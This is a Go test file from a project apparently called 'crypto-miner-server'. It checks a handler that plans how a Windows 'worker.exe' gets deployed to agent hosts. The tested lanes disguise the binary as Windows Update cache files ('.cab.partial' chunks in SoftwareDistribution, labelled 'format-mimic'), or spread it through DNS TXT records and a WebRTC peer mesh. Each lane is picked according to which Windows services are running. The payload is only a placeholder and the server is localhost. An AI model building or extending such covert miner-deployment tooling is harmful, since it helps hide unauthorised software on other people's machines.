package api import ( "os" "path/filepath" "testing" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) func testDeployPlanHandler(t *testing.T) *DeployPlanHandler { t.Helper() dir := t.TempDir() database, err := dbpkg.New(dir) if err != nil { t.Fatal(err) } t.Cleanup(func() { _ = database.Close() }) buildDir := filepath.Join(dir, "builds", "b1") if err := os.MkdirAll(buildDir, 0o755); err != nil { t.Fatal(err) } artifact := filepath.Join(buildDir, "worker.exe") if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact, }); err != nil { t.Fatal(err) } cfgPath := filepath.Join(dir, "config.json") if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil { t.Fatal(err) } return NewDeployPlanHandler(database, dir, dir, func() string { return "http://127.0.0.1:8989" }, func() string { return "fleet-test" }, func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, ) } func TestBuildPlanWSUSCachePeerLane(t *testing.T) { h := testDeployPlanHandler(t) plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", }, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"}) if err != nil { t.Fatal(err) } if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil { t.Fatalf("plan=%+v", plan) } if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" { t.Fatal("expected cache_group") } if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") { t.Fatalf("dest=%q", plan.Manifest.Dest) } if len(plan.Manifest.Chunks) != 1 || !containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") { t.Fatalf("expected format-mimic chunk name, chunks=%+v", plan.Manifest.Chunks) } if !containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") { t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL) } } func TestBuildPlanWSUSCachePeerLaneFormatMimicOff(t *testing.T) { h := testDeployPlanHandler(t) off := false plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", WSUSFormatMimic: &off, }, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"}) if err != nil { t.Fatal(err) } if len(plan.Manifest.Chunks) != 1 || containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") { t.Fatalf("expected raw chunk filename, chunks=%+v", plan.Manifest.Chunks) } if containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") { t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL) } } func TestBuildPlanDNSTXTLane(t *testing.T) { h := testDeployPlanHandler(t) plan, err := h.buildPlan(deployPlanRequest{ Platform: "windows", BuildID: "b1", }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) if err != nil { t.Fatal(err) } if plan.JoinLane != "dns_txt" || plan.Manifest == nil { t.Fatalf("plan=%+v", plan) } if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 { t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords) } if plan.TTLRefreshSec <= 0 { t.Fatal("expected ttl_refresh_sec") } } func TestBuildPlanWebRTCMeshLane(t *testing.T) { h := testDeployPlanHandler(t) plan, err := h.buildPlan(deployPlanRequest{ AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1", }, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"}) if err != nil { t.Fatal(err) } if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil { t.Fatalf("plan=%+v", plan) } if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" { t.Fatalf("mesh=%+v", plan.WebRTCMesh) } } func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) { allowlist := NormalizeServiceDeployAllowlist(nil) services := []DeployServiceFinding{ {Name: "Wuauserv", Status: "running"}, {Name: "DoSvc", Status: "running"}, } matched, lane, ok := PickDeployLane(services, allowlist) if !ok || matched != "DoSvc" || lane.Lane != "do_peer" { t.Fatalf("matched=%q lane=%q", matched, lane.Lane) } } func containsStr(s, sub string) bool { return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0) } func indexStr(s, sub string) int { for i := 0; i+len(sub) <= len(s); i++ { if s[i:i+len(sub)] == sub { return i } } return -1 }